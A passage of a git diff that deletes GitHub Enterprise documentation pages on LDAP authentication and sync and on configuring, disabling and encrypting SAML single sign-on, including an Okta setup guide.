fully qualified name, such as `cn=Administrator,cn=Users,dc=Example,dc=com`. With Active Directory, you can also use the `[DOMAIN]\[USERNAME]` syntax (e.g. `WINDOWS\Administrator`) for the domain search user with Active Directory. | -| `Domain search password` | {% octicon "x" aria-label="Optional" %} | The password for the domain search user. | -| `Administrators group` | {% octicon "x" aria-label="Optional" %} | Users in this group are promoted to site administrators when signing into your appliance. If you don't configure an LDAP Administrators group, the first LDAP user account that signs into your appliance will be automatically promoted to a site administrator. | -| `Domain base` | {% octicon "check" aria-label="Required" %} | The fully qualified `Distinguished Name` (DN) of an LDAP subtree you want to search for users and groups. Each group must be defined in the same domain base as the users that belong to it. If you specify restricted user groups, only users that belong to those groups will be in scope. We recommend that you specify the top level of your LDAP directory tree as your domain base and use restricted user groups to control access. You can configure multiple domain bases. However, {% data variables.product.prodname_ghe_server %} searches for users and group membership against each configured domain base sequentially, so configuring multiple domain bases can increase the number of LDAP queries that are performed. To ensure the performance and stability of your instance, we recommend that you configure no more than three domain bases. | -| `Restricted user groups` | {% octicon "x" aria-label="Optional" %} | If specified, only users in these groups will be allowed to log in. You only need to specify the common names (CNs) of the groups. If no groups are specified, _all_ users within the scope of the specified domain base will be able to sign in to your {% data variables.product.prodname_ghe_server %} instance. You can configure multiple restricted user groups. However, each group increases the number of group membership LDAP queries that {% data variables.product.prodname_ghe_server %} performs for each user. To prevent authentication timeouts and sync performance issues, we recommend that you configure no more than three groups. | -| `User ID` | {% octicon "check" aria-label="Required" %} | The LDAP attribute that identifies the LDAP user who attempts authentication. Once a mapping is established, users may change their {% data variables.product.prodname_ghe_server %} usernames. This field should be `sAMAccountName` for most Active Directory installations, but it may be `uid` for other LDAP solutions, such as OpenLDAP. The default value is `uid`. | -| `Profile name` | {% octicon "x" aria-label="Optional" %} | The name that will appear on the user's {% data variables.product.prodname_ghe_server %} profile page. Unless LDAP Sync is enabled, users may change their profile names. | -| `Emails` | {% octicon "x" aria-label="Optional" %} | The email addresses for a user's {% data variables.product.prodname_ghe_server %} account. | -| `SSH keys` | {% octicon "x" aria-label="Optional" %} | The public SSH keys attached to a user's {% data variables.product.prodname_ghe_server %} account. The keys must be in OpenSSH format. | -| `GPG keys` | {% octicon "x" aria-label="Optional" %} | The GPG keys attached to a user's {% data variables.product.prodname_ghe_server %} account. | -| `Disable LDAP authentication for Git operations` | {% octicon "x" aria-label="Optional" %} |If selected, [turns off](#disabling-password-authentication-for-git-operations) users' ability to use LDAP passwords to authenticate Git operations. | -| `Enable LDAP certificate verification` | {% octicon "x" aria-label="Optional" %} |If selected, [turns on](#enabling-ldap-certificate-verification) LDAP certificate verification. | -| `Synchronization` | {% octicon "x" aria-label="Optional" %} | If selected, [turns on](#enabling-ldap-sync) LDAP Sync. | - -## Disabling password authentication for Git operations - -To enforce use of {% data variables.product.pat_generic %}s or SSH keys for Git access, which can help prevent your server from being overloaded by LDAP authentication requests, you can disable password authentication for Git operations. - -We recommend this setting because a slow-responding LDAP server, especially combined with a large number of requests due to polling, is a frequent source of performance issues and outages. - -To disable password authentication for Git operations, select **Disable username and password authentication for Git operations** in your LDAP settings. - -When this option is selected, if a user tries to use a password for Git operations via the command line, they will receive an error message that says, `Password authentication is not allowed for Git operations. You must use a {% data variables.product.pat_generic %}.` - -## Enabling LDAP certificate verification - -You can validate the LDAP server certificate you use with TLS by enabling LDAP certificate verification. - -To enable LDAP certificate verification, select **Enable LDAP certificate verification** in your LDAP settings. - -When this option is selected, the certificate is validated to make sure: -* If the certificate contains at least one Subject Alternative Name (SAN), one of the SANs matches the LDAP hostname. Otherwise, the Common Name (CN) matches the LDAP hostname. -* The certificate is not expired. -* The certificate is signed by a trusted certificate authority (CA). - -## Enabling LDAP Sync - -You can establish role-based access control for users from your LDAP server by synchronizing {% data variables.product.prodname_ghe_server %} users and team membership against your established LDAP groups. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/creating-a-team#creating-teams-with-ldap-sync-enabled). - -LDAP sync does not create user accounts on {% data variables.location.product_location %}. For more information, see [Viewing and creating LDAP users](#viewing-and-creating-ldap-users). - -> [!NOTE] -> Using LDAP Synchronization with groups that exceed 1499 members may lead to team membership synchronization failures. -> -> If you use Active Directory specifically, user lookups and team synchronization may fail when the LDAP groups configured for teams or in the {% data variables.enterprise.management_console %} exceed 1500 members, due to the `MaxValRange` limit in Active Directory. As a workaround, you can use Active Directory groups that contain less than 1500 members, or you can work with your Active Directory administrator to increase the `MaxValRange` value for your domain controllers. For more information, see [View and set LDAP policy in Active Directory by using Ntdsutil.exe](https://learn.microsoft.com/en-US/troubleshoot/windows-server/identity/view-set-ldap-policy-using-ntdsutil) in Microsoft Learn. -> -> If you need help determining if modifying the `MaxValRange` is the right approach for your Active Directory environment, contact Microsoft Support. - -To enable LDAP Sync, in your LDAP settings, select **Synchronization**. - -To pick a synchronization interval for all users and all teams, click the dropdown menus. Then select **every 1 hour**, **every 4 hours**, or **every 24 hours**. - -To automatically synchronize certain attributes from LDAP, under "Synchronize User Emails, SSH & GPG Keys," click **Synchronize Emails**, **Synchronize SSH Keys**, and/or **Synchronize GPG Keys**. - -After you enable LDAP sync, a synchronization job will run at the specified time interval to perform the following operations on each user account: - -* If you've allowed built-in authentication for users outside your identity provider, and the user is using built-in authentication, move on to the next user. -* If no LDAP mapping exists for the user, try to map the user to an LDAP entry in the directory. If the user cannot be mapped to an LDAP entry, suspend the user and move on to the next user. -* If there is an LDAP mapping and the corresponding LDAP entry in the directory is missing, suspend the user and move on to the next user. -* If the corresponding LDAP entry has been marked as disabled and the user is not already suspended, suspend the user and move on to the next user. -* If the corresponding LDAP entry is not marked as disabled, and the user is suspended, and _Reactivate suspended users_ is enabled in the Admin Center, unsuspend the user. -* If one or more restricted user groups are configured on the instance and the corresponding LDAP entry is not in one of these groups, suspend the user. -* If one or more restricted user groups are configured on the instance, the corresponding LDAP entry is in one of these groups, and _Reactivate suspended users_ is enabled in the Admin Center, unsuspend the user. -* If the corresponding LDAP entry includes a `name` attribute, update the user's profile name. -* If the corresponding LDAP entry is in the Administrators group, promote the user to site administrator. -* If the corresponding LDAP entry is not in the Administrators group, demote the user to a normal account, unless the account is suspended. Suspended administrators will not be demoted and will remain listed on the "Site admins" and "Enterprise owners" pages. -* If an LDAP User field is defined for emails, synchronize the user's email settings with the LDAP entry. Set the first LDAP `mail` entry as the primary email. -* If an LDAP User field is defined for SSH public keys, synchronize the user's public SSH keys with the LDAP entry. -* If an LDAP User field is defined for GPG keys, synchronize the user's GPG keys with the LDAP entry. - -> [!NOTE] -> LDAP entries can only be marked as disabled if you use Active Directory and the `userAccountControl` attribute is present and flagged with `ACCOUNTDISABLE`. Some variations of Active Directory, such as AD LDS and ADAM, don't support the `userAccountControl` attribute. - -A synchronization job will also run at the specified time interval to perform the following operations on each team that has been mapped to an LDAP group: - -* If a team's corresponding LDAP group has been removed, remove all members from the team. -* If LDAP member entries have been removed from the LDAP group, remove the corresponding users from the team. If the user is no longer a member of any team in the organization and is not an owner of the organization, remove the user from the organization. If the user loses access to any repositories as a result, delete any private forks the user has of those repositories. - - > [!NOTE] - > LDAP Sync will not remove a user from an organization if the user is an owner of that organization. Another organization owner will need to manually remove the user instead. - -* If LDAP member entries have been added to the LDAP group, add the corresponding users to the team. If the user regains access to any repositories as a result, restore any private forks of the repositories that were deleted because the user lost access in the past 90 days. - -{% data reusables.enterprise_user_management.ldap-sync-nested-teams %} - -> [!WARNING] -> When LDAP Sync is enabled, site admins and organization owners can search the LDAP directory for groups to map the team to. -> -> This has the potential to disclose sensitive organizational information to contractors or other unprivileged users, including: -> -> * The existence of specific LDAP Groups visible to the _Domain search user_. -> * Members of the LDAP group who have {% data variables.product.prodname_ghe_server %} user accounts, which is disclosed when creating a team synced with that LDAP group. -> -> If disclosing such information is not desired, your company or organization should restrict the permissions of the configured _Domain search user_ in the admin console. If such restriction isn't possible, contact us by visiting {% data variables.contact.contact_ent_support %}. - -## Supported LDAP group object classes - -{% data variables.product.prodname_ghe_server %} supports these LDAP group object classes. Groups can be nested. - -* `group` -* `groupOfNames` -* `groupOfUniqueNames` -* `posixGroup` - -## Viewing and creating LDAP users - -When you use LDAP, your instance creates a user account the first time someone successfully signs in using LDAP credentials. Alternatively, you can manually provision a user account. - -You can view the full list of LDAP users who have access to your instance and provision new users. - -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -1. In the left sidebar, click **LDAP users**. -1. To search for a user, type a full or partial username and click **Search**. Existing users will be displayed in search results. If a user doesn’t exist, click **Create** to provision the new user account. - -## Updating LDAP accounts - -Unless [LDAP Sync is enabled](#enabling-ldap-sync), changes to LDAP accounts are not automatically synchronized with {% data variables.product.prodname_ghe_server %}. - -* To use a new LDAP admin group, users must be manually promoted and demoted on {% data variables.product.prodname_ghe_server %} to reflect changes in LDAP. -* To add or remove LDAP accounts in LDAP admin groups, [promote or demote the accounts on {% data variables.product.prodname_ghe_server %}](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator). -* To remove LDAP accounts, [suspend the {% data variables.product.prodname_ghe_server %} accounts](/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users). - -## Manually syncing LDAP accounts - -{% data reusables.enterprise_site_admin_settings.sign-in %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.search-user %} -{% data reusables.enterprise_site_admin_settings.click-user %} -{% data reusables.enterprise_site_admin_settings.admin-top-tab %} -1. Under "LDAP," click **Sync now** to manually update the account with data from your LDAP server. - -You can also [use the API to trigger a manual sync](/rest/enterprise-admin/ldap). - -## Revoking access to {% data variables.location.product_location %} - -If [LDAP Sync is enabled](#enabling-ldap-sync), removing a user's LDAP credentials will suspend their account after the next synchronization run. - -If LDAP Sync is **not** enabled, you must manually suspend the {% data variables.product.prodname_ghe_server %} account after you remove the LDAP credentials. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users). - -## About logging for LDAP - -Log events for LDAP appear in systemd journal logs on {% data variables.location.product_location %}. You'll find events related to LDAP operations in the logs for `github-unicorn` and `github-resqued`. For more information, see [AUTOTITLE](/admin/monitoring-and-managing-your-instance/monitoring-your-instance/about-system-logs#journal-logs-for-the-github-application). - -## Limitations for LDAP on {% data variables.product.prodname_ghe_server %} - -The {% data variables.product.prodname_ghe_server %} LDAP authentication timeout setting is 10 seconds. This means that all LDAP queries required for user authentication and group membership queries (when Administrators and Restricted User Groups are configured in the management console) must successfully complete within 10 seconds for an LDAP user who is logging into {% data variables.product.prodname_ghe_server %}. {% data variables.product.prodname_ghe_server %} does not currently support extending this 10 second LDAP authentication timeout as this can have a negative impact on other services on the appliance and lead to poor performance or unexpected outages. We recommend limiting the network latency between {% data variables.product.prodname_ghe_server %} and LDAP server(s) to help prevent authentication timeouts. diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md deleted file mode 100644 index c1fede72b197..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Configuring SAML single sign-on for your enterprise using Okta -intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) with Okta to automatically manage access to your enterprise account on {% data variables.product.github %}.' -redirect_from: - - /github/setting-up-and-managing-your-enterprise/configuring-single-sign-on-for-your-enterprise-account-using-okta - - /github/setting-up-and-managing-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta - - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta - - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta - - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta -versions: - ghec: '*' -topics: - - Authentication - - Enterprise -type: how_to -shortTitle: Configure SAML SSO with Okta ---- - -{% data reusables.enterprise-accounts.emu-saml-note %} - -## About SAML with Okta - -You can control access to your enterprise account in {% data variables.product.github %} and other web applications from one central interface by configuring the enterprise account to use SAML SSO with Okta, an Identity Provider (IdP). - -SAML SSO controls and secures access to enterprise account resources like organizations, repositories, issues, and pull requests. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). - -{% data reusables.saml.no-scim-for-enterprises %} - -{% data reusables.saml.switching-from-org-to-enterprise %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account). - -Alternatively, you can also configure SAML SSO using Okta for an organization that uses {% data variables.product.prodname_ghe_cloud %}. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta). - -## Adding the {% data variables.product.prodname_ghe_cloud %} application in Okta - -{% data reusables.saml.okta-sign-into-your-account %} -1. Navigate to the [{% data variables.product.prodname_ghe_cloud %} - Enterprise Accounts](https://www.okta.com/integrations/github-enterprise-cloud-enterprise-accounts) application in the Okta Integration Network and click **Add Integration**. -{% data reusables.saml.okta-dashboard-click-applications %} -1. Optionally, to the right of "Application label", type a descriptive name for the application. -1. To the right of "{% data variables.product.prodname_dotcom %} Enterprises", type the name of your enterprise account. For example, if your enterprise account's URL is `https://github.com/enterprises/octo-corp`, type `octo-corp`. -1. Click **Done**. - -## Enabling and testing SAML SSO - -{% data reusables.saml.okta-sign-into-your-account %} -{% data reusables.saml.okta-dashboard-click-applications %} -{% data reusables.saml.click-enterprise-account-application %} -{% data reusables.saml.assign-yourself-to-okta %} -{% data reusables.saml.okta-sign-on-tab %} -1. To the right of Settings, click **Edit**. -1. Under "Configured SAML Attributes", to the right of "groups", use the drop-down menu and select **Matches regex**. -1. To the right of the drop-down menu, type `.*.*`. -1. Click **Save**. -{% data reusables.saml.okta-view-setup-instructions %} -1. Enable SAML for your enterprise account using the information in the setup instructions. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise). diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md deleted file mode 100644 index b2337cb0b228..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise.md +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Configuring SAML single sign-on for your enterprise -shortTitle: Configure SAML SSO -intro: 'You can control and secure access to {% ifversion ghec %}resources like repositories, issues, and pull requests within your enterprise''s organizations{% elsif ghes %}{% data variables.location.product_location %}{% endif %} by {% ifversion ghec %}enforcing{% elsif ghes %}configuring{% endif %} SAML single sign-on (SSO) through your identity provider (IdP).' -permissions: '{% ifversion ghes %}Site administrators{% elsif ghec %}Enterprise owners{% endif %} can configure SAML SSO for {% ifversion ghec %}an enterprise on {% data variables.product.github %}{% elsif ghes %}a {% data variables.product.prodname_ghe_server %} instance{% endif %}.' -versions: - ghec: '*' - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - SSO -redirect_from: - - /admin/authentication/configuring-saml-single-sign-on-for-your-enterprise - - /github/setting-up-and-managing-your-enterprise/enabling-saml-single-sign-on-for-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/enabling-saml-single-sign-on-for-organizations-in-your-enterprise-account - - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/enforcing-saml-single-sign-on-for-organizations-in-your-enterprise-account - - /admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise - - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise ---- - -{% ifversion ghec %} - -**Before** following the steps in this article, make sure that your enterprise uses **personal accounts**. You can do so by checking whether your enterprise view has the "Users managed by ACCOUNT NAME" header bar at the top of the screen. - -If you see this, your enterprise uses **managed users** and you must follow a different process to configure SAML single sign-on. See [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users). - -{% endif %} - -## About SAML SSO - -{% ifversion ghec %} - -{% data reusables.saml.dotcom-saml-explanation %} - -{% data reusables.saml.saml-accounts %} - -For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on). - -{% data reusables.saml.about-saml-enterprise-accounts %} - -{% data reusables.saml.about-saml-access-enterprise-account %} For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise). - -{% data reusables.saml.no-scim-for-enterprises %} - -{% data reusables.saml.saml-disabled-linked-identities-removed %} - -{% data reusables.apps.reauthorize-apps-saml %} - -{% elsif ghes %} - -SAML SSO allows you to centrally control and secure access to {% data variables.location.product_location %} from your SAML IdP. When an unauthenticated user visits {% data variables.location.product_location %} in a browser, {% data variables.product.github %} will redirect the user to your SAML IdP to authenticate. After the user successfully authenticates with an account on the IdP, the IdP redirects the user back to {% data variables.location.product_location %}. {% data variables.product.github %} validates the response from your IdP, then grants access to the user. - -After a user successfully authenticates on your IdP, the user's SAML session for {% data variables.location.product_location %} is active in the browser for 24 hours. After 24 hours, the user must authenticate again with your IdP. - -{% data reusables.saml.saml-ghes-account-revocation %} - -{% endif %} - -## Supported identity providers - -{% data reusables.saml.saml-supported-idps %} - -{% ifversion ghec %} - -For more information about connecting Microsoft Entra ID (previously known as Azure AD) to your enterprise, see [Tutorial: Microsoft Entra SSO integration with GitHub Enterprise Cloud - Enterprise Account](https://learn.microsoft.com/en-us/entra/identity/saas-apps/github-enterprise-cloud-enterprise-account-tutorial) in Microsoft Docs. - -{% elsif ghes %} - -For more information about connecting Entra ID to your enterprise, see [Tutorial: Microsoft Entra SSO integration with GitHub Enterprise Server](https://learn.microsoft.com/en-us/entra/identity/saas-apps/github-ae-tutorial) in Microsoft Docs. - -## Username considerations with SAML - -{% data reusables.enterprise_user_management.consider-usernames-for-external-authentication %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication). - -{% endif %} - -{% ifversion ghec %} - -## Enforcing SAML single-sign on for organizations in your enterprise account - -When you enforce SAML SSO for your enterprise, the enterprise configuration will override any existing organization-level SAML configurations. {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account). - -When you enforce SAML SSO for an organization, {% data variables.product.company_short %} removes any members of the organization that have not authenticated successfully with your SAML IdP. When you require SAML SSO for your enterprise, {% data variables.product.company_short %} does not remove members of the enterprise that have not authenticated successfully with your SAML IdP. The next time a member accesses the enterprise's resources, the member must authenticate with your SAML IdP. - -For more detailed information about how to enable SAML using Okta, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise-using-okta). - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -1. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %} -1. Under "SAML single sign-on", select **Require SAML authentication**. -1. In the **Sign on URL** field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration. -1. Optionally, in the **Issuer** field, type your SAML issuer URL to verify the authenticity of sent messages. -1. Under **Public Certificate**, paste a certificate to verify SAML responses. This is the public key corresponding to the private key used to sign SAML responses. - - To find the certificate, refer to the documentation for your IdP. Some IdPs call this an X.509 certificate. - -{% data reusables.saml.edit-signature-and-digest-methods %} -1. Before enabling SAML SSO for your enterprise, to ensure that the information you've entered is correct, click **Test SAML configuration** . {% data reusables.saml.test-must-succeed %} -1. Click **Save**. -{% data reusables.enterprise-accounts.download-recovery-codes %} - -{% elsif ghes %} - -## Configuring SAML SSO - -You can enable or disable SAML authentication for {% data variables.location.product_location %}, or you can edit an existing configuration. You can view and edit authentication settings in the {% data variables.enterprise.management_console %}. For more information, see [AUTOTITLE](/admin/configuration/administering-your-instance-from-the-management-console). - -> [!NOTE] -> {% data reusables.enterprise.test-in-staging %} - -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -1. Under "Authentication", select **SAML**. -1. {% data reusables.enterprise_user_management.built-in-authentication-option %} -1. Optionally, to enable unsolicited response SSO, select **IdP initiated SSO**. By default, {% data variables.product.prodname_ghe_server %} will reply to an unsolicited Identity Provider (IdP) initiated request with an `AuthnRequest` back to the IdP. - - > [!TIP] - > We recommend keeping this value **unselected**. You should enable this feature **only** in the rare instance that your SAML implementation does not support service provider initiated SSO, and when advised by {% data variables.contact.enterprise_support %}. - -1. Optionally, if you do not want your SAML provider to determine administrator rights for users on {% data variables.location.product_location %}, select **Disable administrator demotion/promotion** -{%- ifversion ghes %} -1. Optionally, to allow {% data variables.location.product_location %} to receive encrypted assertions from your SAML IdP, select **Require encrypted assertions**. - - You must ensure that your IdP supports encrypted assertions and that the encryption and key transport methods in the management console match the values configured on your IdP. You must also provide {% data variables.location.product_location %}'s public certificate to your IdP. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions). -{%- endif %} -1. Under "Single sign-on URL," type the HTTP or HTTPS endpoint on your IdP for single sign-on requests. This value is provided by your IdP configuration. If the host is only available from your internal network, you may need to [configure {% data variables.location.product_location %} to use internal nameservers](/admin/configuration/configuring-network-settings/configuring-dns-nameservers). -1. Optionally, in the **Issuer** field, type your SAML issuer's name. This verifies the authenticity of messages sent to {% data variables.location.product_location %}. -1. Select the **Signature Method** and **Digest Method** dropdown menus, then click the hashing algorithm used by your SAML issuer to verify the integrity of the requests from {% data variables.location.product_location %}. -1. Select the **Name Identifier Format** dropdown menu, then click a format. -1. Under "Verification certificate," click **Choose File**, then choose a certificate to validate SAML responses from the IdP. -1. Under "User attributes", modify the SAML attribute names to match your IdP if needed, or accept the default names. - -{% endif %} - -## Further reading - -{%- ifversion ghec %} -* [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization) -{%- endif %} -{%- ifversion ghes %} -* [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator) -{%- endif %} diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/deciding-whether-to-configure-saml-for-your-enterprise-or-your-organizations.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/deciding-whether-to-configure-saml-for-your-enterprise-or-your-organizations.md deleted file mode 100644 index 8e7ed717de1e..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/deciding-whether-to-configure-saml-for-your-enterprise-or-your-organizations.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Deciding whether to configure SAML for your enterprise or your organizations -shortTitle: Enterprise or organization -intro: 'You can configure SAML for your enterprise account, with the same configuration applying to all of its organizations, or you can create separate configurations for individual organizations.' -versions: - ghec: '*' -type: overview -topics: - - Accounts - - Access management - - Authentication - - Enterprise - - Identity -redirect_from: - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/deciding-whether-to-configure-saml-for-your-enterprise-or-your-organizations ---- - -{% data reusables.enterprise.ghec-authentication-options %} For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise). - -If you decide to use SAML instead of {% data variables.product.prodname_emus %}, you must choose whether to configure SAML at the enterprise level or the organization level. - -If some groups within your enterprise must use different SAML authentication providers to grant access to your resources on {% data variables.product.github %}, configure SAML for individual organizations. You can implement SAML for your organizations over time by allowing users to gradually authenticate using SAML, or you can require SAML authentication by a certain date. Organization members who do not authenticate using SAML by this date will be removed. For more information about organization-level SAML, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on). - -If you configure SAML at the organization level, members are not required to authenticate via SAML to access internal repositories. For more information about internal repositories, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories). - -If you need to protect internal repositories or enforce a consistent authentication experience for every organization in your enterprise, you can configure SAML authentication for your enterprise account instead. The SAML configuration for your enterprise overrides any SAML configuration for individual organizations, and organizations cannot override the enterprise configuration. After you configure SAML for your enterprise, organization members must authenticate with SAML before accessing organization resources, including internal repositories. - -SCIM is not available for enterprise accounts without {% data variables.product.prodname_emus %}, and team synchronization is only available for SAML at the enterprise level if you use Microsoft Entra ID (previously known as Azure AD) as an IdP. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise). - -Regardless of the SAML implementation you choose, you cannot add external collaborators to organizations or teams. You can only add external collaborators to individual repositories. diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/disabling-saml-single-sign-on-for-your-enterprise.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/disabling-saml-single-sign-on-for-your-enterprise.md deleted file mode 100644 index 75e1078aee0f..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/disabling-saml-single-sign-on-for-your-enterprise.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Disabling SAML single sign-on for your enterprise -intro: You can disable SAML single sign-on (SSO) for your enterprise account. -versions: - ghec: '*' -topics: - - Authentication - - Enterprise -type: how_to -shortTitle: Disable SAML SSO -redirect_from: - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/disabling-saml-single-sign-on-for-your-enterprise ---- - -## About disabled SAML SSO for your enterprise - -After you disable SAML SSO for your enterprise, the following effects apply: - -* All external identities for your enterprise will be removed. For more information, see - All external identities for the enterprise will be removed. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise). -* Any SAML settings configured for individual organizations within the enterprise will take effect. For more information, see [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization). - -## Disabling SAML - -{% data reusables.enterprise-accounts.access-enterprise %} - - > [!NOTE] - > If you're unable to access the enterprise because your IdP is unavailable, you can use a recovery code to bypass SSO. For more information, see [AUTOTITLE](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/accessing-your-enterprise-account-if-your-identity-provider-is-unavailable). - -{% data reusables.enterprise-accounts.settings-tab %} -{% data reusables.enterprise-accounts.security-tab %} -1. Under "SAML single sign-on", deselect **Require SAML authentication**. -1. Click **Save**. - -## Further reading - -* [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/disabling-authentication-for-enterprise-managed-users) diff --git a/content/admin/managing-iam/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md b/content/admin/managing-iam/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md deleted file mode 100644 index 3c855ff7bb93..000000000000 --- a/content/admin/managing-iam/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Enabling encrypted assertions -shortTitle: Enable encrypted assertions -intro: 'You can improve {% data variables.location.product_location %}''s security with SAML single sign-on (SSO) by encrypting the messages that your SAML identity provider (IdP) sends.' -permissions: Site administrators -versions: - ghes: '*' -type: how_to -topics: - - Accounts - - Authentication - - Enterprise - - Identity - - Security - - SSO -redirect_from: - - /admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions ---- - -## About encrypted assertions - -If your IdP support encryption of assertions, you can configure encrypted assertions on {% data variables.product.prodname_ghe_server %} for increased security during the authentication process. - -## Prerequisites - -To enable encrypted assertions for authentication to {% data variables.product.prodname_ghe_server %}, you must configure SAML authentication, and your IdP must support encrypted assertions. - -## Enabling encrypted assertions - -To enable encrypted assertions, you must provide {% data variables.location.product_location %}'s public certificate to your IdP, and configure encryption settings that match your IdP. - -> [!NOTE] -> {% data reusables.enterprise.test-in-staging %} - -1. Optionally, enable SAML debugging. SAML debugging records verbose entries in {% data variables.product.prodname_ghe_server %}'s authentication log, and may help you troubleshoot failed authentication attempts. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging). -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.authentication %} -1. Select **Require encrypted assertions**. -1. To the right of "Encryption Certificate", to save a copy of {% data variables.location.product_location %}'s public certificate on your local machine, click **Download**. -1. Sign into your SAML IdP as an administrator. -1. In the application for {% data variables.location.product_location %}, enable encrypted assertions. - * Note the encryption method and key transport method. - * Provide the public certificate you downloaded in step 7. -1. Return to the management console on {% data variables.location.product_location %}. -1. To the right of "Encryption Method", select the encryption method for your IdP from step 9. -1. To the right of "Key Transport Method", select the key 